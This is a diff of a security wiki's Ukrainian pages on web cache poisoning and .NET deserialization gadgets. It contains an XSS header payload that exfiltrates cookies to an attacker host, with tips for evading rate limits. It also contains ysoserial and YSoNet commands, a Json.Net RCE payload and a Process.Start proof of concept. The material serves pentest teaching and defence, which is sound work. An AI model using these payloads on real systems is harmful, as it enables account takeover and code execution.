Надішліть GET запит з запитом в URL та в тілі. Якщо веб-сервер використовує той, що в тілі, але сервер кешу кешує той, що в URL, будь-хто, хто отримує доступ до цього URL, насправді використовуватиме параметр з тіла. Як вразливість, яку знайшов Джеймс Кеттл на сайті Github:
Надішліть GET request, де запит міститься як у URL, так і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, то будь-хто, хто звернеться до цього URL, фактично використовуватиме parameter з body. Як-от vuln, який виявив James Kettle на Github website:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -144,122 +147,139 @@ report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Параметричне приховування
### Parameter Cloacking
Наприклад, можливо розділити **параметри** на ruby-серверах, використовуючи символ **`;`** замість **`&`**. Це може бути використано для вставки значень непараметризованих параметрів всередину параметризованих і їх зловживання.
Наприклад, у ruby-серверах можна відокремлювати **parameters** символом **`;`** замість **`&`**. Це може бути використано, щоб помістити значення незаключених параметрів всередині ключових і зловживати цим.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Використання HTTP Cache Poisoning шляхом зловживання HTTP Request Smuggling
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Дізнайтеся тут, як виконати [атаки Cache Poisoning, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Дізнайтеся, як виконувати [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Автоматизоване тестування для Web Cache Poisoning
### Automated testing for Web Cache Poisoning
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність отруєння веб-кешу. Він підтримує багато різних технік і є високонастроюваним.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. Він підтримує багато різних технік і є високонастроюваним.
Приклад використання: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-допоміжне насіння кешу (User-Agent, авто-кешовані .js)
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, що надається іншим користувачам:
Цей реальний патерн поєднує примітив віддзеркалення заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який віддається іншим користувачам:
- Основний HTML відображав ненадійний заголовок запиту (наприклад, `User-Agent`) в виконуваному контексті.
- CDN видалив заголовки кешу, але існував внутрішній/оригінальний кеш. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), в той час як WAF застосовував слабшу перевірку вмісту до GET-запитів для статичних активів.
- Особливості потоку запитів дозволили запиту до шляху `.js` впливати на ключ/варіант кешу, що використовувався для наступного основного HTML, що дозволило крос-користувацький XSS через відображення заголовка.
- Головний HTML віддзеркалював недовірений заголовок запиту (наприклад, `User-Agent`) у виконуваний контекст.
- CDN видаляв cache headers, але існував внутрішній/origin cache. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), тоді як WAF застосовував слабшу інспекцію контенту до GET запитів для статичних ресурсів.
- Особливості потоку запитів дозволяли запиту до шляху `.js` впливати на cache key/variant, що використовувався для наступного головного HTML, дозволяючи міжкористувацький XSS через віддзеркалення заголовка.
Практичний рецепт (спостережено на популярному CDN/WAF):
Практичний рецепт (спостерігався в популярному CDN/WAF):
1) З чистого IP (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
2) У Burp Repeater підготуйте групу з двох запитів і використовуйте "Відправити групу паралельно" (однопакетний режим працює найкраще):
- Перший запит: GET ресурсного шляху `.js` на тому ж походженні, відправляючи ваш шкідливий `User-Agent`.
- Негайно після: GET основної сторінки (`/`).
3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто насіння отруєного кешованого HTML-варіанту, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
1) З чистої IP-адреси (уникати попередніх знижень за репутацією) встановіть зловмисний `User-Agent` через браузер або Burp Proxy Match & Replace.
2) У Burp Repeater підготуйте групу з двох запитів і використайте "Send group in parallel" (single-packet mode працює найкраще):
- Перший запит: GET до ресурсу `.js` на тому ж origin, надсилаючи ваш зловмисний `User-Agent`.
- Одразу після: GET головну сторінку (`/`).
3) Гонка маршрутизації CDN/WAF разом з авто-кешованим `.js` часто сіє отруєний кешований варіант HTML, який потім віддається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж `Vary` виміри, такі як `User-Agent`).
Приклад заголовка навантаження (для ексфільтрації не-HttpOnly куків):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Операційні поради:
Оперативні поради:
- Багато CDN приховують заголовки кешу; отруєння може з'явитися лише на багатогодинних циклах оновлення. Використовуйте кілька IP-адрес для спостереження та обмежуйте швидкість, щоб уникнути тригерів обмеження швидкості або репутації.
- Використання IP-адреси з власного хмари CDN іноді покращує стабільність маршрутизації.
- Якщо присутній строгий CSP, це все ще працює, якщо відображення виконується в основному HTML-контексті, а CSP дозволяє вбудоване виконання або обходиться контекстом.
- Багато CDN приховують заголовки кешу; poisoning може проявитися лише під час багатогодинних циклів оновлення. Використовуйте кілька різних IP-точок і знижуйте швидкість запитів, щоб уникнути тригерів rate-limit або проблем з репутацією.
- Використання IP з власної cloud-інфраструктури CDN іноді покращує узгодженість маршрутизації.
- Якщо присутній строгий CSP, це все одно працює, якщо відображення виконується в головному HTML-контексті і CSP дозволяє inline-виконання або обходиться через контекст.
Вплив:
- Якщо сесійні куки не є `HttpOnly`, можливий нульовий клік ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким подається отруєний HTML.
- Якщо session cookies не мають прапорця `HttpOnly`, можливий zero-click ATO шляхом масового ексфільтрування `document.cookie` від усіх користувачів, яким сервовано poisoned HTML.
Захист:
- Припиніть відображення заголовків запитів у HTML; строго кодуйте контекст, якщо це неминуче. Вирівняйте політики кешування CDN та походження та уникайте варіювання на ненадійних заголовках.
- Переконайтеся, що WAF послідовно застосовує перевірку вмісту до запитів `.js` та статичних шляхів.
- Встановіть `HttpOnly` (і `Secure`, `SameSite`) на сесійні куки.
- Припиніть відображати заголовки запитів у HTML; якщо неминуче — строго кодуйте за контекстом. Узгодьте політики кешування CDN та origin і уникайте варіацій на основі неперевірених заголовків.
- Переконайтесь, що WAF послідовно виконує інспекцію контенту для `.js` запитів і статичних шляхів.
- Встановіть `HttpOnly` (та `Secure`, `SameSite`) на session cookies.
## Вразливі приклади
### Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecorespecific pattern enables unauthenticated writes to the HtmlCache by abusing preauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
This writes arbitrary HTML under an attackerchosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained postauth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Уразливі приклади
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS переслав фрагмент всередині URL без його видалення та згенерував ключ кешу, використовуючи лише хост, шлях і запит (ігноруючи фрагмент). Тому запит `/#/../?r=javascript:alert(1)` був надісланий на бекенд як `/#/../?r=javascript:alert(1)`, а ключ кешу не містив корисного навантаження, лише хост, шлях і запит.
ATS пересилав фрагмент всередині URL без його видалення та генерував cache key, використовуючи лише host, path and query (ігноруючи fragment). Тому запит `/#/../?r=javascript:alert(1)` був відправлений на бекенд як `/#/../?r=javascript:alert(1)` і cache key не містив payload всередині, лише host, path and query.
### GitHub CP-DoS
Відправка неправильного значення в заголовку content-type викликала кешовану відповідь 405. Ключ кешу містив куки, тому було можливим атакувати лише неавторизованих користувачів.
Відправлення некоректного значення в заголовку content-type викликало кешовану відповідь 405. У cache key містився cookie, тому атакувати було можливо лише неавторизованих користувачів.
### GitLab + GCP CP-DoS
GitLab використовує GCP-бакети для зберігання статичного вмісту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тому було можливим надіслати заголовок `x-http-method-override: HEAD` і отруїти кеш, щоб повернути порожнє тіло відповіді. Це також могло підтримувати метод `PURGE`.
GitLab використовує GCP buckets для зберігання статичного контенту. **GCP Buckets** підтримують **заголовок `x-http-method-override`**. Тож можна було відправити заголовок `x-http-method-override: HEAD` і отруїти кеш так, щоб він повертав порожнє тіло відповіді. Також могли підтримуватися методи типу `PURGE`.
### Rack Middleware (Ruby on Rails)
У додатках Ruby on Rails часто використовується Rack middleware. Мета коду Rack полягає в тому, щоб взяти значення заголовка **`x-forwarded-scheme`** і встановити його як схему запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається перенаправлення 301 на те ж місце, що потенційно може викликати відмову в обслуговуванні (DoS) для цього ресурсу. Крім того, додаток може визнати заголовок `X-forwarded-host` і перенаправити користувачів на вказаний хост. Ця поведінка може призвести до завантаження JavaScript-файлів з сервера зловмисника, що становить загрозу безпеці.
В додатках на Ruby on Rails часто використовується Rack middleware. Призначення Rack коду — взяти значення заголовка **`x-forwarded-scheme`** і встановити його як scheme запиту. Коли надсилається заголовок `x-forwarded-scheme: http`, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково, додаток може враховувати заголовок `X-forwarded-host` і перенаправляти користувачів на вказаний хост. Така поведінка може призвести до завантаження JavaScript-файлів з сервера атакуючого, що становить загрозу безпеці.
### 403 і сховища
### 403 and Storage Buckets
Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з неправильними заголовками авторизації призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, ця поведінка може все ще бути присутня в інших проксі-сервісах.
Cloudflare раніше кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization заголовками призводила до відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешувати 403 відповіді, така поведінка може все ще мати місце в інших proxy-сервісах.
### Впровадження параметрів з ключами
### Injecting Keyed Parameters
Кеші часто включають специфічні GET-параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований з правильного параметра `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.
Caches часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр `size` в запитах. Однак, якщо URL-encoded версія параметра (наприклад, `siz%65`) також була відправлена з некоректним значенням, cache key будувався з використанням коректного `size` параметра. Натомість бекенд обробляв значення з URL-encoded параметра. URL-encoding другого `size` параметра призводив до його опускання кешем, але до його використання бекендом. Присвоєння цього параметра значення 0 призводило до кешованої помилки 400 Bad Request.
### Правила User Agent
### User Agent Rules
Деякі розробники блокують запити з user-agent, які відповідають user-agent інструментів з високим трафіком, таких як FFUF або Nuclei, щоб управляти навантаженням на сервер. Іронічно, цей підхід може ввести вразливості, такі як отруєння кешу та DoS.
Деякі розробники блокують запити з user-agents, що відповідають високонавантаженим інструментам типу FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може створити вразливості, як-от cache poisoning і DoS.
### Неправильні поля заголовків
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами та кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає допустимі символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, теоретично мають викликати 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, за умови відсутності заголовка `cache-control`. Було виявлено експлуатований сценарій, коли надсилання заголовка з нелегальним символом, наприклад `\`, призводило до кешованої помилки 400 Bad Request.
### Пошук нових заголовків
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
## Отруєння кешу
## Cache Deception
Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Перш за все, зверніть увагу, що **розширення** такі як `.css`, `.js`, `.png` тощо зазвичай **налаштовуються** на **збереження** в **кеші.** Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані від інших користувачів.
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Інші речі для тестування:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Використовуйте менш відомі розширення, такі як_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збереже результат.\
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
Дізнайтеся тут, як виконати [атаки отруєння кешу, зловживаючи HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Автоматичні інструменти
- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік впровадження.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
## Посилання
@ -269,8 +289,9 @@ Cloudflare раніше кешував відповіді 403. Спроба до
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [Як я знайшов 0-Click Account takeover у публічному BBP і використав це для доступу до функцій адміністратора](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,38 +1,38 @@
# Основна десеріалізація .Net (гаджет ObjectDataProvider, ExpandedWrapper та Json.Net)
# Базова десеріалізація .Net (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Ця стаття присвячена **розумінню того, як експлуатується гаджет ObjectDataProvider** для отримання RCE та **як** бібліотеки серіалізації **Json.Net та xmlSerializer можуть бути зловживані** з цим гаджетом.
Цей пост присвячено **розумінню того, як гаджет ObjectDataProvider експлуатується** для отримання RCE та **як** бібліотеки серіалізації **Json.Net і xmlSerializer можуть бути зловживані** з цим гаджетом.
## Гаджет ObjectDataProvider
## ObjectDataProvider Гаджет
З документації: _клас ObjectDataProvider обгортає та створює об'єкт, який ви можете використовувати як джерело прив'язки_.\
Так, це дивне пояснення, тож давайте подивимося, що ж у цьому класі такого цікавого: цей клас дозволяє **обгортати довільний об'єкт**, використовувати _**MethodParameters**_ для **встановлення довільних параметрів** і потім **використовувати MethodName для виклику довільної функції** довільного об'єкта, оголошеного за допомогою довільних параметрів.\
З документації: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Так, це дивне пояснення, тож подивімося, що ж у цього класу такого цікавого: цей клас дозволяє **обгорнути довільний об'єкт**, використовувати _**MethodParameters**_ щоб **задати довільні параметри**, а потім **використати MethodName щоб викликати довільну функцію** довільного об'єкта з заданими параметрами.\
Отже, довільний **об'єкт** буде **виконувати** **функцію** з **параметрами під час десеріалізації.**
### **Як це можливо**
Простір імен **System.Windows.Data**, який знаходиться в **PresentationFramework.dll** за адресою `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, є місцем, де визначено та реалізовано ObjectDataProvider.
Простір імен **System.Windows.Data**, який знаходиться всередині **PresentationFramework.dll** за шляхом `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, — це місце, де визначено та реалізовано ObjectDataProvider.
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy), ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ім'я методу**
Використовуючи [**dnSpy**](https://github.com/0xd4d/dnSpy) ви можете **переглянути код** класу, який нас цікавить. На зображенні нижче ми бачимо код **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Як ви можете спостерігати, коли `MethodName` встановлено, викликається `base.Refresh()`, давайте подивимося, що це робить:
Як видно, коли встановлюється `MethodName`, викликається `base.Refresh()`, давайте подивимось, що воно робить:
![](<../../images/image (319).png>)
Добре, продовжимо дивитися, що робить `this.BeginQuery()`. `BeginQuery` переозначено класом `ObjectDataProvider`, і ось що він робить:
Добре, продовжимо і подивимось, що виконує `this.BeginQuery()`. `BeginQuery` перевизначено в `ObjectDataProvider` і ось що воно робить:
![](<../../images/image (345).png>)
Зверніть увагу, що в кінці коду викликається `this.QueryWorke(null)`. Давайте подивимося, що це виконує:
Зверніть увагу, що в кінці коду викликається `this.QueryWorke(null)`. Подивимось, що це виконує:
![](<../../images/image (596).png>)
Зверніть увагу, що це не повний код функції `QueryWorker`, але він показує цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** це рядок, де **викликається встановлений метод**.
Зверніть увагу, що це не повний код функції `QueryWorker`, але тут показано її цікаву частину: код **викликає `this.InvokeMethodOnInstance(out ex);`** — це рядок, де виконується встановлений метод.
Якщо ви хочете перевірити, що просто встановивши _**MethodName**_, **він буде виконаний**, ви можете запустити цей код:
Якщо ви хочете перевірити, що просто встановлення _**MethodName**_ **приведе до його виконання**, ви можете запустити цей код:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Зверніть увагу, що вам потрібно додати як посилання _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, щоб завантажити `System.Windows.Data`
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Використовуючи попередній експлойт, будуть випадки, коли **об'єкт** буде **десеріалізовано як** екземпляр _**ObjectDataProvider**_ (наприклад, у вразливості DotNetNuke, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою `GetType`). Тоді **не буде відомо про тип об'єкта, який обгорнутий** в екземплярі _ObjectDataProvider_ (`Process`, наприклад). Ви можете знайти більше [інформації про вразливість DotNetNuke тут](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Використовуючи попередній експлойт, трапляються випадки, коли **об'єкт** буде **десеріалізований як** екземпляр _**ObjectDataProvider**_ (наприклад в DotNetNuke vuln, використовуючи XmlSerializer, об'єкт десеріалізувався за допомогою `GetType`). Тоді не буде **жодної інформації про тип об'єкта, що обгорнутий** в екземплярі _ObjectDataProvider_ (наприклад `Process`). Ви можете знайти більше [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Цей клас дозволяє **вказати типи об'єктів об'єктів, які інкапсульовані** в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції об'єкта-джерела (_ObjectDataProvider_) в новий тип об'єкта та надання необхідних властивостей (_ObjectDataProvider.MethodName_ та _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, як той, що був представлений раніше, оскільки ми зможемо **обгорнути \_ObjectDataProvider**_** всередині екземпляра **_**ExpandedWrapper** \_ і **під час десеріалізації** цей клас **створить** об'єкт _**OjectDataProvider**_, який **виконає** **функцію**, вказану в _**MethodName**_.
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
Це дуже корисно для випадків, подібних до описаного вище, тому що ми зможемо **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Ви можете перевірити цей обгортальник за допомогою наступного коду:
Ви можете перевірити цю обгортку за допомогою наступного коду:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
На [офіційному веб-сайті](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Серіалізувати та десеріалізувати будь-який .NET об'єкт за допомогою потужного JSON-серіалізатора Json.NET**. Отже, якщо ми зможемо **десеріалізувати гаджет ObjectDataProvider**, ми зможемо викликати **RCE**, просто десеріалізуючи об'єкт.
На [офіційній сторінці](https://www.newtonsoft.com/json) вказано, що ця бібліотека дозволяє **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Отже, якщо ми зможемо **deserialize the ObjectDataProvider gadget**, ми зможемо спричинити **RCE**, просто deserializing an object.
### Json.Net приклад
По-перше, давайте подивимося приклад того, як **серіалізувати/десеріалізувати** об'єкт, використовуючи цю бібліотеку:
По-перше, давайте подивимося приклад того, як **serialize/deserialize** об'єкт з використанням цієї бібліотеки:
```java
using System;
using Newtonsoft.Json;
@ -134,9 +134,9 @@ Console.WriteLine(desaccount.Email);
```
### Зловживання Json.Net
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net), я створив експлойт:
Використовуючи [ysoserial.net](https://github.com/pwntester/ysoserial.net) я створив експлойт:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
У цьому коді ви можете **перевірити експлойт**, просто запустіть його, і ви побачите, що виконується calc:
У цьому коді ви можете **test the exploit**, просто запустіть його, і ви побачите, що запускається calc:
```java
using System;
using System.Text;
@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
## Розширені .NET Gadget Chains (YSoNet & ysoserial.net)
Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує **неконтрольовану десеріалізацію .NET**. Сучасні інструменти червоної команди, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об'єктних графів** для десятків гаджетів і форматів серіалізації.
Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chains, які можна зловживати, коли застосунок виконує **unsafe .NET deserialization**. Сучасні інструменти red-team, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіша [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих object graphs** для десятків gadgets і форматів серіалізації.
Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з *YSoNet*, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.
Нижче наведено стисле довідкове резюме найбільш корисних chain-ів, що постачаються з *YSoNet*, разом із коротким поясненням їх роботи та прикладами команд для генерації payload-ів.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, так що, після матеріалізації, делегат вказує на *будь-який* метод, наданий атакуючою стороною (наприклад, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти фільтрацію типів .NET ≥4.8* і безпосередньо викликати **конструктор** наданого класу або **компілювати** файл C# на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Використовує **стару XML** репрезентацію `System.Data.DataSet`, щоб створити випадкові типи, заповнюючи поля `<ColumnMapping>` / `<DataType>` (опціонально підробляючи збірку з `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне `System.CodeDom.Compiler.CompilerResults`, потім *компілює* або *завантажує* DLL, надану з `-c` | `Json.NET` без типу, `MessagePack` без типу | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
